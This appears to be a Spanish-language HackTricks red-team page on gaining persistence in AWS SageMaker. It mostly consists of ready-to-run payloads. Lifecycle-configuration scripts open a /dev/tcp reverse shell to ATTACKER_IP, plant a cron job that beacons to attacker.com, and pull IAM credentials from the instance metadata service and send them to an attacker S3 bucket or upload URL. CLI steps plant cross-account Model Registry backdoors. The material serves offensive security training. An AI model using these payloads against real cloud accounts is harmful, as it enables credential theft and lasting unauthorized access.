AWS - SageMaker Persistence

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Descripción general de las técnicas de persistencia

Esta sección describe métodos para obtener persistencia en SageMaker abusando de Lifecycle Configurations (LCCs), incluyendo reverse shells, cron jobs, robo de credenciales vía IMDS y SSH backdoors. Estos scripts se ejecutan con el rol IAM de la instancia y pueden persistir tras reinicios. La mayoría de las técnicas requieren acceso de red saliente, pero el uso de servicios en el control plane de AWS aún puede permitir el éxito si el entorno está en ’VPC-only“ mode.

Tip

Nota: Las instancias de notebook de SageMaker son, esencialmente, instancias EC2 gestionadas configuradas específicamente para cargas de trabajo de machine learning.

Permisos requeridos

  • Instancias de notebook:
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
  • Aplicaciones de Studio:
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain

Configurar Lifecycle Configuration en Notebook Instances

Ejemplos de comandos de AWS CLI:

# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc

Configurar Lifecycle Configuration en SageMaker Studio

Las Lifecycle Configurations pueden adjuntarse en distintos niveles y a diferentes tipos de aplicaciones dentro de SageMaker Studio.

Studio Domain Level (Todos los usuarios)

# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Nivel de Studio Space (Espacios individuales o compartidos)

# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Tipos de configuraciones del ciclo de vida de aplicaciones de SageMaker Studio

Las configuraciones del ciclo de vida se pueden aplicar específicamente a diferentes tipos de aplicaciones de SageMaker Studio:

  • JupyterServer: Ejecuta scripts durante el arranque del servidor Jupyter, ideal para mecanismos de persistencia como reverse shells y cron jobs.
  • KernelGateway: Se ejecuta durante el lanzamiento de la app kernel gateway, útil para la configuración inicial o acceso persistente.
  • CodeEditor: Se aplica al Code Editor (Code-OSS), permitiendo scripts que se ejecutan al iniciar las sesiones de edición de código.

Comando de ejemplo para cada tipo:

JupyterServer

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)

KernelGateway

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)

Editor de Código

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)

Información crítica:

  • Adjuntar LCCs a nivel de dominio o espacio afecta a todos los usuarios o aplicaciones dentro del alcance.
  • Requiere permisos más elevados (sagemaker:UpdateDomain, sagemaker:UpdateSpace); típicamente es más factible a nivel de space que de domain.
  • Los controles a nivel de red (p. ej., filtrado estricto de salida/egress) pueden prevenir reverse shells exitosos o data exfiltration.

Reverse Shell mediante Lifecycle Configuration

SageMaker Lifecycle Configurations (LCCs) ejecutan scripts personalizados cuando las instancias de notebook se inician. Un atacante con permisos puede establecer un reverse shell persistente.

Ejemplo de Payload:

#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &

Persistencia de cron jobs mediante Lifecycle Configuration

Un atacante puede inyectar cron jobs a través de scripts LCC, asegurando la ejecución periódica de scripts o comandos maliciosos, permitiendo una persistencia sigilosa.

Payload Example:

#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -

Credential Exfiltration via IMDS (v1 & v2)

Las configuraciones de ciclo de vida pueden consultar el Instance Metadata Service (IMDS) para recuperar credenciales IAM y exfiltrate them to an attacker-controlled location.

Payload Example:

#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload

Persistencia mediante la política de recursos del Model Registry (PutModelPackageGroupPolicy)

Abusa de la política basada en recursos de un SageMaker Model Package Group para conceder a un principal externo permisos entre cuentas (por ejemplo, CreateModelPackage/Describe/List). Esto crea una puerta trasera persistente que permite subir versiones de modelos envenenadas o leer metadatos/artifacts del modelo incluso si el usuario/rol IAM del atacante en la cuenta víctima es eliminado.

Permisos necesarios

  • sagemaker:CreateModelPackageGroup
  • sagemaker:PutModelPackageGroupPolicy
  • sagemaker:GetModelPackageGroupPolicy

Pasos (us-east-1)

# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"

# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON

# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"

# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text

Notas

  • Para un cross-account backdoor real, limite Resource al ARN del grupo específico y use el AWS account ID del attacker en Principal.
  • Para despliegue end-to-end cross-account o lectura de artifacts, alinee los grants S3/ECR/KMS con la cuenta del attacker.

Impacto

  • Control persistente cross-account de un Model Registry group: el attacker puede publicar versiones maliciosas de modelos o enumerate/read model metadata incluso después de que sus entidades IAM sean eliminadas en la victim account.

Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)

Abusar de las configuraciones de usuario de SageMaker Canvas para redirigir silenciosamente las escrituras del model registry a una cuenta controlada por el attacker, habilitando ModelRegisterSettings y apuntando CrossAccountModelRegisterRoleArn a un rol del attacker en otra cuenta.

Permisos requeridos

  • sagemaker:UpdateUserProfile en el UserProfile objetivo
  • Opcional: sagemaker:CreateUserProfile en un Domain que controlas

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks